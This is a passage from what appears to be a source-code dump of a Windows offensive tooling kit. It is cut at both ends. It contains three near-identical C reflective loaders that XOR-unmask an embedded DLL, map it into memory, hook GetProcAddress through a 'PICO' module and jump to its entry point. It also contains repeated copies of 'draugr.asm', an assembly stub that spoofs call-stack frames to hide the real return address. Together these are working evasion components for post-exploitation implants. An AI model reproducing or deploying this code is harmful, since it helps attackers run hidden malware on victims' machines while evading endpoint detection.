masked_dll->len; i++ ) { 118 | dll_src [ i ] = masked_dll->value [ i ] ^ mask_key->value [ i % mask_key->len ]; 119 | } 120 | 121 | DLLDATA dll_data; 122 | ParseDLL ( dll_src, &dll_data ); 123 | 124 | char * dll_dst = KERNEL32$VirtualAlloc ( NULL, SizeOfDLL ( &dll_data ), MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE ); 125 | 126 | LoadDLL ( &dll_data, dll_src, dll_dst ); 127 | 128 | /* track dll's memory */ 129 | memory.Dll.BaseAddress = ( PVOID ) ( dll_dst ); 130 | memory.Dll.Size = SizeOfDLL ( &dll_data ); 131 | 132 | ProcessImports ( &funcs, &dll_data, dll_dst ); 133 | fix_section_permissions ( &dll_data, dll_src, dll_dst, &memory.Dll ); 134 | 135 | /* call setup_memory to give PICO the memory info */ 136 | ( ( SETUP_MEMORY ) PicoGetExport ( pico_src, pico_dst->code, __tag_setup_memory ( ) ) ) ( &memory ); 137 | 138 | /* now run the DLL */ 139 | DLLMAIN_FUNC entry_point = EntryPoint ( &dll_data, dll_dst ); 140 | 141 | /* free the unmasked copy */ 142 | KERNEL32$VirtualFree ( dll_src, 0, MEM_RELEASE ); 143 | 144 | entry_point ( ( HINSTANCE ) dll_dst, DLL_PROCESS_ATTACH, NULL ); 145 | entry_point ( ( HINSTANCE ) ( char * ) go, 0x4, NULL ); 146 | } 147 | -------------------------------------------------------------------------------- /local-loader/src/loader.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "loader.h" 3 | #include "tcg.h" 4 | #include "memory.h" 5 | 6 | DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc ( LPVOID, SIZE_T, DWORD, DWORD ); 7 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD ); 8 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD ); 9 | 10 | char _PICO_ [ 0 ] __attribute__ ( ( section ( "pico" ) ) ); 11 | char _MASK_ [ 0 ] __attribute__ ( ( section ( "mask" ) ) ); 12 | char _DLL_ [ 0 ] __attribute__ ( ( section ( "dll" ) ) ); 13 | 14 | int __tag_setup_hooks ( ); 15 | int __tag_setup_memory ( ); 16 | 17 | typedef void ( * SETUP_HOOKS ) ( IMPORTFUNCS * funcs ); 18 | typedef void ( * SETUP_MEMORY ) ( MEMORY_LAYOUT * layout ); 19 | 20 | void fix_section_permissions ( DLLDATA * dll, char * src, char * dst, MEMORY_REGION * region ) 21 | { 22 | DWORD section_count = dll->NtHeaders->FileHeader.NumberOfSections; 23 | IMAGE_SECTION_HEADER * section_hdr = NULL; 24 | void * section_dst = NULL; 25 | DWORD section_size = 0; 26 | DWORD new_protect = 0; 27 | DWORD old_protect = 0; 28 | 29 | section_hdr = ( IMAGE_SECTION_HEADER * ) PTR_OFFSET ( dll->OptionalHeader, dll->NtHeaders->FileHeader.SizeOfOptionalHeader ); 30 | 31 | for ( int i = 0; i < section_count; i++ ) 32 | { 33 | section_dst = dst + section_hdr->VirtualAddress; 34 | section_size = section_hdr->SizeOfRawData; 35 | 36 | if ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) { 37 | new_protect = PAGE_WRITECOPY; 38 | } 39 | if ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) { 40 | new_protect = PAGE_READONLY; 41 | } 42 | if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) ) { 43 | new_protect = PAGE_READWRITE; 44 | } 45 | if ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) { 46 | new_protect = PAGE_EXECUTE; 47 | } 48 | if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) ) { 49 | new_protect = PAGE_EXECUTE_WRITECOPY; 50 | } 51 | if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) ) { 52 | new_protect = PAGE_EXECUTE_READ; 53 | } 54 | if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) ) { 55 | new_protect = PAGE_EXECUTE_READWRITE; 56 | } 57 | 58 | /* set new permission */ 59 | KERNEL32$VirtualProtect ( section_dst, section_size, new_protect, &old_protect ); 60 | 61 | /* track memory */ 62 | region->Sections[ i ].BaseAddress = section_dst; 63 | region->Sections[ i ].Size = section_size; 64 | region->Sections[ i ].CurrentProtect = new_protect; 65 | region->Sections[ i ].PreviousProtect = new_protect; 66 | 67 | /* advance to section */ 68 | section_hdr++; 69 | } 70 | } 71 | 72 | void go ( ) 73 | { 74 | /* populate funcs */ 75 | IMPORTFUNCS funcs; 76 | funcs.LoadLibraryA = LoadLibraryA; 77 | funcs.GetProcAddress = GetProcAddress; 78 | 79 | /* load the pico */ 80 | char * pico_src = GETRESOURCE ( _PICO_ ); 81 | 82 | /* allocate memory for it */ 83 | PICO * pico_dst = ( PICO * ) KERNEL32$VirtualAlloc ( NULL, sizeof ( PICO ), MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE ); 84 | 85 | /* load it into memory */ 86 | PicoLoad ( &funcs, pico_src, pico_dst->code, pico_dst->data ); 87 | 88 | /* make code section RX */ 89 | DWORD old_protect; 90 | KERNEL32$VirtualProtect ( pico_dst->code, PicoCodeSize ( pico_src ), PAGE_EXECUTE_READ, &old_protect ); 91 | 92 | /* begin tracking memory allocations */ 93 | MEMORY_LAYOUT memory = { 0 }; 94 | 95 | memory.Pico.BaseAddress = ( PVOID ) ( pico_dst ); 96 | memory.Pico.Size = sizeof ( PICO ); 97 | 98 | memory.Pico.Sections[ 0 ].BaseAddress = ( PVOID ) ( pico_dst->data ); 99 | memory.Pico.Sections[ 0 ].Size = PicoDataSize ( pico_src ); 100 | memory.Pico.Sections[ 0 ].CurrentProtect = PAGE_READWRITE; 101 | memory.Pico.Sections[ 0 ].PreviousProtect = PAGE_READWRITE; 102 | memory.Pico.Sections[ 1 ].BaseAddress = ( PVOID ) ( pico_dst->code ); 103 | memory.Pico.Sections[ 1 ].Size = PicoCodeSize ( pico_src ); 104 | memory.Pico.Sections[ 1 ].CurrentProtect = PAGE_EXECUTE_READ; 105 | memory.Pico.Sections[ 1 ].PreviousProtect = PAGE_EXECUTE_READ; 106 | 107 | /* call setup_hooks to overwrite funcs.GetProcAddress */ 108 | ( ( SETUP_HOOKS ) PicoGetExport ( pico_src, pico_dst->code, __tag_setup_hooks ( ) ) ) ( &funcs ); 109 | 110 | /* now load the dll (it's masked) */ 111 | RESOURCE * masked_dll = ( RESOURCE * ) GETRESOURCE ( _DLL_ ); 112 | RESOURCE * mask_key = ( RESOURCE * ) GETRESOURCE ( _MASK_ ); 113 | 114 | /* load dll into memory and unmask it */ 115 | char * dll_src = KERNEL32$VirtualAlloc ( NULL, masked_dll->len, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE ); 116 | 117 | for ( int i = 0; i < masked_dll->len; i++ ) { 118 | dll_src [ i ] = masked_dll->value [ i ] ^ mask_key->value [ i % mask_key->len ]; 119 | } 120 | 121 | DLLDATA dll_data; 122 | ParseDLL ( dll_src, &dll_data ); 123 | 124 | char * dll_dst = KERNEL32$VirtualAlloc ( NULL, SizeOfDLL ( &dll_data ), MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE ); 125 | 126 | LoadDLL ( &dll_data, dll_src, dll_dst ); 127 | 128 | /* track dll's memory */ 129 | memory.Dll.BaseAddress = ( PVOID ) ( dll_dst ); 130 | memory.Dll.Size = SizeOfDLL ( &dll_data ); 131 | 132 | ProcessImports ( &funcs, &dll_data, dll_dst ); 133 | fix_section_permissions ( &dll_data, dll_src, dll_dst, &memory.Dll ); 134 | 135 | /* call setup_memory to give PICO the memory info */ 136 | ( ( SETUP_MEMORY ) PicoGetExport ( pico_src, pico_dst->code, __tag_setup_memory ( ) ) ) ( &memory ); 137 | 138 | /* now run the DLL */ 139 | DLLMAIN_FUNC entry_point = EntryPoint ( &dll_data, dll_dst ); 140 | 141 | /* free the unmasked copy */ 142 | KERNEL32$VirtualFree ( dll_src, 0, MEM_RELEASE ); 143 | 144 | entry_point ( ( HINSTANCE ) dll_dst, DLL_PROCESS_ATTACH, NULL ); 145 | entry_point ( ( HINSTANCE ) ( char * ) go, 0x4, NULL ); 146 | } 147 | -------------------------------------------------------------------------------- /postex-loader/src/loader.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "loader.h" 3 | #include "tcg.h" 4 | #include "memory.h" 5 | 6 | DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc ( LPVOID, SIZE_T, DWORD, DWORD ); 7 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD ); 8 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD ); 9 | 10 | char _PICO_ [ 0 ] __attribute__ ( ( section ( "pico" ) ) ); 11 | char _MASK_ [ 0 ] __attribute__ ( ( section ( "mask" ) ) ); 12 | char _DLL_ [ 0 ] __attribute__ ( ( section ( "dll" ) ) ); 13 | 14 | int __tag_setup_hooks ( ); 15 | int __tag_setup_memory ( ); 16 | 17 | typedef void ( * SETUP_HOOKS ) ( IMPORTFUNCS * funcs ); 18 | typedef void ( * SETUP_MEMORY ) ( MEMORY_LAYOUT * layout ); 19 | 20 | void fix_section_permissions ( DLLDATA * dll, char * src, char * dst, MEMORY_REGION * region ) 21 | { 22 | DWORD section_count = dll->NtHeaders->FileHeader.NumberOfSections; 23 | IMAGE_SECTION_HEADER * section_hdr = NULL; 24 | void * section_dst = NULL; 25 | DWORD section_size = 0; 26 | DWORD new_protect = 0; 27 | DWORD old_protect = 0; 28 | 29 | section_hdr = ( IMAGE_SECTION_HEADER * ) PTR_OFFSET ( dll->OptionalHeader, dll->NtHeaders->FileHeader.SizeOfOptionalHeader ); 30 | 31 | for ( int i = 0; i < section_count; i++ ) 32 | { 33 | section_dst = dst + section_hdr->VirtualAddress; 34 | section_size = section_hdr->SizeOfRawData; 35 | 36 | if ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) { 37 | new_protect = PAGE_WRITECOPY; 38 | } 39 | if ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) { 40 | new_protect = PAGE_READONLY; 41 | } 42 | if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) ) { 43 | new_protect = PAGE_READWRITE; 44 | } 45 | if ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) { 46 | new_protect = PAGE_EXECUTE; 47 | } 48 | if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) ) { 49 | new_protect = PAGE_EXECUTE_WRITECOPY; 50 | } 51 | if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) ) { 52 | new_protect = PAGE_EXECUTE_READ; 53 | } 54 | if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) ) { 55 | new_protect = PAGE_EXECUTE_READWRITE; 56 | } 57 | 58 | /* set new permission */ 59 | KERNEL32$VirtualProtect ( section_dst, section_size, new_protect, &old_protect ); 60 | 61 | /* track memory */ 62 | region->Sections[ i ].BaseAddress = section_dst; 63 | region->Sections[ i ].Size = section_size; 64 | region->Sections[ i ].CurrentProtect = new_protect; 65 | region->Sections[ i ].PreviousProtect = new_protect; 66 | 67 | /* advance to section */ 68 | section_hdr++; 69 | } 70 | } 71 | 72 | void go ( void * loader_arguments ) 73 | { 74 | /* populate funcs */ 75 | IMPORTFUNCS funcs; 76 | funcs.LoadLibraryA = LoadLibraryA; 77 | funcs.GetProcAddress = GetProcAddress; 78 | 79 | /* load the pico */ 80 | char * pico_src = GETRESOURCE ( _PICO_ ); 81 | 82 | /* allocate memory for it */ 83 | PICO * pico_dst = ( PICO * ) KERNEL32$VirtualAlloc ( NULL, sizeof ( PICO ), MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE ); 84 | 85 | /* load it into memory */ 86 | PicoLoad ( &funcs, pico_src, pico_dst->code, pico_dst->data ); 87 | 88 | /* make code section RX */ 89 | DWORD old_protect; 90 | KERNEL32$VirtualProtect ( pico_dst->code, PicoCodeSize ( pico_src ), PAGE_EXECUTE_READ, &old_protect ); 91 | 92 | /* begin tracking memory allocations */ 93 | MEMORY_LAYOUT memory = { 0 }; 94 | 95 | memory.Pico.BaseAddress = ( PVOID ) ( pico_dst ); 96 | memory.Pico.Size = sizeof ( PICO ); 97 | 98 | memory.Pico.Sections[ 0 ].BaseAddress = ( PVOID ) ( pico_dst->data ); 99 | memory.Pico.Sections[ 0 ].Size = PicoDataSize ( pico_src ); 100 | memory.Pico.Sections[ 0 ].CurrentProtect = PAGE_READWRITE; 101 | memory.Pico.Sections[ 0 ].PreviousProtect = PAGE_READWRITE; 102 | memory.Pico.Sections[ 1 ].BaseAddress = ( PVOID ) ( pico_dst->code ); 103 | memory.Pico.Sections[ 1 ].Size = PicoCodeSize ( pico_src ); 104 | memory.Pico.Sections[ 1 ].CurrentProtect = PAGE_EXECUTE_READ; 105 | memory.Pico.Sections[ 1 ].PreviousProtect = PAGE_EXECUTE_READ; 106 | 107 | /* call setup_hooks to overwrite funcs.GetProcAddress */ 108 | ( ( SETUP_HOOKS ) PicoGetExport ( pico_src, pico_dst->code, __tag_setup_hooks ( ) ) ) ( &funcs ); 109 | 110 | /* now load the dll (it's masked) */ 111 | RESOURCE * masked_dll = ( RESOURCE * ) GETRESOURCE ( _DLL_ ); 112 | RESOURCE * mask_key = ( RESOURCE * ) GETRESOURCE ( _MASK_ ); 113 | 114 | /* load dll into memory and unmask it */ 115 | char * dll_src = KERNEL32$VirtualAlloc ( NULL, masked_dll->len, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE ); 116 | 117 | for ( int i = 0; i < masked_dll->len; i++ ) { 118 | dll_src [ i ] = masked_dll->value [ i ] ^ mask_key->value [ i % mask_key->len ]; 119 | } 120 | 121 | DLLDATA dll_data; 122 | ParseDLL ( dll_src, &dll_data ); 123 | 124 | char * dll_dst = KERNEL32$VirtualAlloc ( NULL, SizeOfDLL ( &dll_data ), MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE ); 125 | 126 | LoadDLL ( &dll_data, dll_src, dll_dst ); 127 | 128 | /* track dll's memory */ 129 | memory.Dll.BaseAddress = ( PVOID ) ( dll_dst ); 130 | memory.Dll.Size = SizeOfDLL ( &dll_data ); 131 | 132 | ProcessImports ( &funcs, &dll_data, dll_dst ); 133 | fix_section_permissions ( &dll_data, dll_src, dll_dst, &memory.Dll ); 134 | 135 | /* call setup_memory to give PICO the memory info */ 136 | ( ( SETUP_MEMORY ) PicoGetExport ( pico_src, pico_dst->code, __tag_setup_memory ( ) ) ) ( &memory ); 137 | 138 | /* now run the DLL */ 139 | DLLMAIN_FUNC entry_point = EntryPoint ( &dll_data, dll_dst ); 140 | 141 | /* free the unmasked copy */ 142 | KERNEL32$VirtualFree ( dll_src, 0, MEM_RELEASE ); 143 | 144 | entry_point ( ( HINSTANCE ) dll_dst, DLL_PROCESS_ATTACH, NULL ); 145 | entry_point ( ( HINSTANCE ) ( char * ) go, 0x4, loader_arguments ); 146 | } 147 | -------------------------------------------------------------------------------- /loader/src/draugr.asm: -------------------------------------------------------------------------------- 1 | [BITS 64] 2 | 3 | draugr_stub: 4 | pop rax ; Real return address in rax 5 | 6 | mov r10, rdi ; Store OG rdi in r10 7 | mov r11, rsi ; Store OG rsi in r11 8 | 9 | mov rdi, [ rsp + 32 ] ; Storing struct in rdi 10 | mov rsi, [ rsp + 40 ] ; Storing function to call 11 | 12 | ; --------------------------------------------------------------------- 13 | ; Storing our original registers 14 | ; --------------------------------------------------------------------- 15 | 16 | mov [ rdi + 24 ], r10 ; Storing OG rdi into param 17 | mov [ rdi + 88 ], r11 ; Storing OG rsi into param 18 | mov [ rdi + 96 ], r12 ; Storing OG r12 into param 19 | mov [ rdi + 104 ], r13 ; Storing OG r13 into param 20 | mov [ rdi + 112 ], r14 ; Storing OG r14 into param 21 | mov [ rdi + 120 ], r15 ; Storing OG r15 into param 22 | 23 | mov r12, rax ; OG code used r12 for ret addr 24 | 25 | ; --------------------------------------------------------------------- 26 | ; Prepping to move stack args 27 | ; --------------------------------------------------------------------- 28 | 29 | xor r11, r11 ; r11 will hold the # of args that have been "pushed" 30 | mov r13, [ rsp + 0x30 ] ; r13 will hold the # of args total that will be pushed 31 | 32 | mov r14, 0x200 ; r14 will hold the offset we need to push stuff 33 | add r14, 8 34 | add r14, [ rdi + 56 ] ; stack size of RUTS 35 | add r14, [ rdi + 48 ] ; stack size of BTIT 36 | add r14, [ rdi + 32 ] ; stack size of our gadget frame 37 | sub r14, 0x20 ; first stack arg is located at +0x28 from rsp, so we sub 0x20 from the offset. Loop will sub 0x8 each time 38 | 39 | mov r10, rsp 40 | add r10, 0x30 ; offset of stack arg added to rsp 41 | 42 | looping: 43 | xor r15, r15 ; r15 will hold the offset + rsp base 44 | cmp r11d, r13d ; comparing # of stack args added vs # of stack args we need to add 45 | je finish 46 | 47 | ; --------------------------------------------------------------------- 48 | ; Getting location to move the stack arg to 49 | ; --------------------------------------------------------------------- 50 | 51 | sub r14, 8 ; 1 arg means r11 is 0, r14 already 0x28 offset. 52 | mov r15, rsp ; get current stack base 53 | sub r15, r14 ; subtract offset 54 | 55 | ; --------------------------------------------------------------------- 56 | ; Procuring the stack arg 57 | ; --------------------------------------------------------------------- 58 | 59 | add r10, 8 60 | 61 | push qword [ r10 ] 62 | pop qword [ r15 ] 63 | 64 | ; --------------------------------------------------------------------- 65 | ; Increment the counter and loop back in case we need more args 66 | ; --------------------------------------------------------------------- 67 | add r11, 1 68 | jmp looping 69 | 70 | finish: 71 | 72 | ; ---------------------------------------------------------------------- 73 | ; Creating a big 320 byte working space 74 | ; ---------------------------------------------------------------------- 75 | 76 | sub rsp, 0x200 77 | 78 | ; ---------------------------------------------------------------------- 79 | ; Pushing a 0 to cut off the return addresses after RtlUserThreadStart. 80 | ; Need to figure out why this cuts off the call stack 81 | ; ---------------------------------------------------------------------- 82 | 83 | push 0 84 | 85 | ; ---------------------------------------------------------------------- 86 | ; RtlUserThreadStart + 0x14 frame 87 | ; ---------------------------------------------------------------------- 88 | 89 | sub rsp, [ rdi + 56 ] 90 | mov r11, [ rdi + 64 ] 91 | mov [ rsp ], r11 92 | 93 | ; ---------------------------------------------------------------------- 94 | ; BaseThreadInitThunk + 0x21 frame 95 | ; ---------------------------------------------------------------------- 96 | 97 | sub rsp, [ rdi + 32 ] 98 | mov r11, [ rdi + 40 ] 99 | mov [ rsp ], r11 100 | 101 | ; ---------------------------------------------------------------------- 102 | ; Gadget frame 103 | ; ---------------------------------------------------------------------- 104 | 105 | sub rsp, [ rdi + 48 ] 106 | mov r11, [ rdi + 80 ] 107 | mov [ rsp ], r11 108 | 109 | ; ---------------------------------------------------------------------- 110 | ; Adjusting the param struct for the fixup 111 | ; ---------------------------------------------------------------------- 112 | 113 | mov r11, rsi ; Copying function to call into r11 114 | 115 | mov [ rdi + 8 ], r12 ; Real return address is now moved into the "OG_retaddr" member 116 | mov [ rdi + 16 ], rbx ; original rbx is stored into "rbx" member 117 | lea rbx, [ rel fixup ] ; Fixup address is moved into rbx 118 | mov [ rdi ], rbx ; Fixup member now holds the address of Fixup 119 | mov rbx, rdi ; Address of param struct (Fixup) is moved into rbx 120 | 121 | ; ---------------------------------------------------------------------- 122 | ; Syscall stuff. Shouldn't affect performance even if a syscall isnt made 123 | ; ---------------------------------------------------------------------- 124 | mov r10, rcx 125 | mov rax, [ rdi + 72 ] 126 | 127 | jmp r11 128 | 129 | fixup: 130 | mov rcx, rbx 131 | add rsp, 0x200 ; Big frame thing 132 | add rsp, [ rbx + 48 ] ; Stack size 133 | add rsp, [ rbx + 32 ] ; Stack size 134 | add rsp, [ rbx + 56 ] ; Stack size 135 | 136 | mov rbx, [ rcx + 16 ] ; Restoring OG RBX 137 | mov rdi, [ rcx + 24 ] ; ReStoring OG rdi 138 | mov rsi, [ rcx + 88 ] ; ReStoring OG rsi 139 | mov r12, [ rcx + 96 ] ; ReStoring OG r12 140 | mov r13, [ rcx + 104 ] ; ReStoring OG r13 141 | mov r14, [ rcx + 112 ] ; ReStoring OG r14 142 | mov r15, [ rcx + 120 ] ; ReStoring OG r15 143 | push rax 144 | 145 | xor rax, rax 146 | pop rax 147 | jmp QWORD [ rcx + 8 ] 148 | -------------------------------------------------------------------------------- /local-loader/src/draugr.asm: -------------------------------------------------------------------------------- 1 | [BITS 64] 2 | 3 | draugr_stub: 4 | pop rax ; Real return address in rax 5 | 6 | mov r10, rdi ; Store OG rdi in r10 7 | mov r11, rsi ; Store OG rsi in r11 8 | 9 | mov rdi, [ rsp + 32 ] ; Storing struct in rdi 10 | mov rsi, [ rsp + 40 ] ; Storing function to call 11 | 12 | ; --------------------------------------------------------------------- 13 | ; Storing our original registers 14 | ; --------------------------------------------------------------------- 15 | 16 | mov [ rdi + 24 ], r10 ; Storing OG rdi into param 17 | mov [ rdi + 88 ], r11 ; Storing OG rsi into param 18 | mov [ rdi + 96 ], r12 ; Storing OG r12 into param 19 | mov [ rdi + 104 ], r13 ; Storing OG r13 into param 20 | mov [ rdi + 112 ], r14 ; Storing OG r14 into param 21 | mov [ rdi + 120 ], r15 ; Storing OG r15 into param 22 | 23 | mov r12, rax ; OG code used r12 for ret addr 24 | 25 | ; --------------------------------------------------------------------- 26 | ; Prepping to move stack args 27 | ; --------------------------------------------------------------------- 28 | 29 | xor r11, r11 ; r11 will hold the # of args that have been "pushed" 30 | mov r13, [ rsp + 0x30 ] ; r13 will hold the # of args total that will be pushed 31 | 32 | mov r14, 0x200 ; r14 will hold the offset we need to push stuff 33 | add r14, 8 34 | add r14, [ rdi + 56 ] ; stack size of RUTS 35 | add r14, [ rdi + 48 ] ; stack size of BTIT 36 | add r14, [ rdi + 32 ] ; stack size of our gadget frame 37 | sub r14, 0x20 ; first stack arg is located at +0x28 from rsp, so we sub 0x20 from the offset. Loop will sub 0x8 each time 38 | 39 | mov r10, rsp 40 | add r10, 0x30 ; offset of stack arg added to rsp 41 | 42 | looping: 43 | xor r15, r15 ; r15 will hold the offset + rsp base 44 | cmp r11d, r13d ; comparing # of stack args added vs # of stack args we need to add 45 | je finish 46 | 47 | ; --------------------------------------------------------------------- 48 | ; Getting location to move the stack arg to 49 | ; --------------------------------------------------------------------- 50 | 51 | sub r14, 8 ; 1 arg means r11 is 0, r14 already 0x28 offset. 52 | mov r15, rsp ; get current stack base 53 | sub r15, r14 ; subtract offset 54 | 55 | ; --------------------------------------------------------------------- 56 | ; Procuring the stack arg 57 | ; --------------------------------------------------------------------- 58 | 59 | add r10, 8 60 | 61 | push qword [ r10 ] 62 | pop qword [ r15 ] 63 | 64 | ; --------------------------------------------------------------------- 65 | ; Increment the counter and loop back in case we need more args 66 | ; --------------------------------------------------------------------- 67 | add r11, 1 68 | jmp looping 69 | 70 | finish: 71 | 72 | ; ---------------------------------------------------------------------- 73 | ; Creating a big 320 byte working space 74 | ; ---------------------------------------------------------------------- 75 | 76 | sub rsp, 0x200 77 | 78 | ; ---------------------------------------------------------------------- 79 | ; Pushing a 0 to cut off the return addresses after RtlUserThreadStart. 80 | ; Need to figure out why this cuts off the call stack 81 | ; ---------------------------------------------------------------------- 82 | 83 | push 0 84 | 85 | ; ---------------------------------------------------------------------- 86 | ; RtlUserThreadStart + 0x14 frame 87 | ; ---------------------------------------------------------------------- 88 | 89 | sub rsp, [ rdi + 56 ] 90 | mov r11, [ rdi + 64 ] 91 | mov [ rsp ], r11 92 | 93 | ; ---------------------------------------------------------------------- 94 | ; BaseThreadInitThunk + 0x21 frame 95 | ; ---------------------------------------------------------------------- 96 | 97 | sub rsp, [ rdi + 32 ] 98 | mov r11, [ rdi + 40 ] 99 | mov [ rsp ], r11 100 | 101 | ; ---------------------------------------------------------------------- 102 | ; Gadget frame 103 | ; ---------------------------------------------------------------------- 104 | 105 | sub rsp, [ rdi + 48 ] 106 | mov r11, [ rdi + 80 ] 107 | mov [ rsp ], r11 108 | 109 | ; ---------------------------------------------------------------------- 110 | ; Adjusting the param struct for the fixup 111 | ; ---------------------------------------------------------------------- 112 | 113 | mov r11, rsi ; Copying function to call into r11 114 | 115 | mov [ rdi + 8 ], r12 ; Real return address is now moved into the "OG_retaddr" member 116 | mov [ rdi + 16 ], rbx ; original rbx is stored into "rbx" member 117 | lea rbx, [ rel fixup ] ; Fixup address is moved into rbx 118 | mov [ rdi ], rbx ; Fixup member now holds the address of Fixup 119 | mov rbx, rdi ; Address of param struct (Fixup) is moved into rbx 120 | 121 | ; ---------------------------------------------------------------------- 122 | ; Syscall stuff. Shouldn't affect performance even if a syscall isnt made 123 | ; ---------------------------------------------------------------------- 124 | mov r10, rcx 125 | mov rax, [ rdi + 72 ] 126 | 127 | jmp r11 128 | 129 | fixup: 130 | mov rcx, rbx 131 | add rsp, 0x200 ; Big frame thing 132 | add rsp, [ rbx + 48 ] ; Stack size 133 | add rsp, [ rbx + 32 ] ; Stack size 134 | add rsp, [ rbx + 56 ] ; Stack size 135 | 136 | mov rbx, [ rcx + 16 ] ; Restoring OG RBX 137 | mov rdi, [ rcx + 24 ] ; ReStoring OG rdi 138 | mov rsi, [ rcx + 88 ] ; ReStoring OG rsi 139 | mov r12, [ rcx + 96 ] ; ReStoring OG r12 140 | mov r13, [ rcx + 104 ] ; ReStoring OG r13 141 | mov r14, [ rcx + 112 ] ; ReStoring OG r14 142 | mov r15, [ rcx + 120 ] ; ReStoring OG r15 143 | push rax 144 | 145 | xor rax, rax 146 | pop rax 147 | jmp QWORD [ rcx + 8 ] 148 | -------------------------------------------------------------------------------- /postex-loader/src/draugr.asm: -------------------------------------------------------------------------------- 1 | [BITS 64] 2 | 3 | draugr_stub: 4 | pop rax ; Real return address in rax 5 | 6 | mov r10, rdi ; Store OG rdi in r10 7 | mov r11, rsi ; Store OG rsi in r11 8 | 9 | mov rdi, [ rsp + 32 ] ; Storing struct in rdi 10 | mov rsi, [ rsp + 40 ] ; Storing function to call 11 | 12 | ; --------------------------------------------------------------------- 13 | ; Storing our original registers 14 | ; --------------------------------------------------------------------- 15 | 16 | mov [ rdi + 24 ], r10 ; Storing OG rdi into param 17 | mov [ rdi + 88 ], r11 ; Storing OG rsi into param 18 | mov [ rdi + 96 ], r12 ; Storing OG r12 into param 19 | mov [ rdi + 104 ], r13 ; Storing OG r13 into param 20 | mov [ rdi + 112 ], r14 ; Storing OG r14 into param 21 | mov [ rdi + 120 ], r15 ; Storing OG r15 into param 22 | 23 | mov r12, rax ; OG code used r12 for ret addr 24 | 25 | ; --------------------------------------------------------------------- 26 | ; Prepping to move stack args 27 | ; --------------------------------------------------------------------- 28 | 29 | xor r11, r11 ; r11 will hold the # of args that have been "pushed" 30 | mov r13, [ rsp + 0x30 ] ; r13 will hold the # of args total that will be pushed 31 | 32 | mov r14, 0x200 ; r14 will hold the offset we need to push stuff 33 | add r14, 8 34 | add r14, [ rdi + 56 ] ; stack size of RUTS 35 | add r14, [ rdi + 48 ] ; stack size of BTIT 36 | add r14, [ rdi + 32 ] ; stack size of our gadget frame 37 | sub r14, 0x20 ; first stack arg is located at +0x28 from rsp, so we sub 0x20 from the offset. Loop will sub 0x8 each time 38 | 39 | mov r10, rsp 40 | add r10, 0x30 ; offset of stack arg added to rsp 41 | 42 | looping: 43 | xor r15, r15 ; r15 will hold the offset + rsp base 44 | cmp r11d, r13d ; comparing # of stack args added vs # of stack args we need to add 45 | je finish 46 | 47 | ; --------------------------------------------------------------------- 48 | ; Getting location to move the stack arg to 49 | ; --------------------------------------------------------------------- 50 | 51 | sub r14, 8 ; 1 arg means r11 is 0, r14 already 0x28 offset. 52 | mov r15, rsp ; get current stack base 53 | sub r15, r14 ; subtract offset 54 | 55 | ; --------------------------------------------------------------------- 56 | ; Procuring the stack arg 57 | ; --------------------------------------------------------------------- 58 | 59 | add r10, 8 60 | 61 | push qword [ r10 ] 62 | pop qword [ r15 ] 63 | 64 | ; --------------------------------------------------------------------- 65 | ; Increment the counter and loop back in case we need more args 66 | ; --------------------------------------------------------------------- 67 | add r11, 1 68 | jmp looping 69 | 70 | finish: 71 | 72 | ; ---------------------------------------------------------------------- 73 | ; Creating a big 320 byte working space 74 | ; ---------------------------------------------------------------------- 75 | 76 | sub rsp, 0x200 77 | 78 | ; ---------------------------------------------------------------------- 79 | ; Pushing a 0 to cut off the return addresses after RtlUserThreadStart. 80 | ; Need to figure out why this cuts off the call stack 81 | ; ---------------------------------------------------------------------- 82 | 83 | push 0 84 | 85 | ; ---------------------------------------------------------------------- 86 | ; RtlUserThreadStart + 0x14 frame 87 | ; ---------------------------------------------------------------------- 88 | 89 | sub rsp, [ rdi + 56 ] 90 | mov r11, [ rdi + 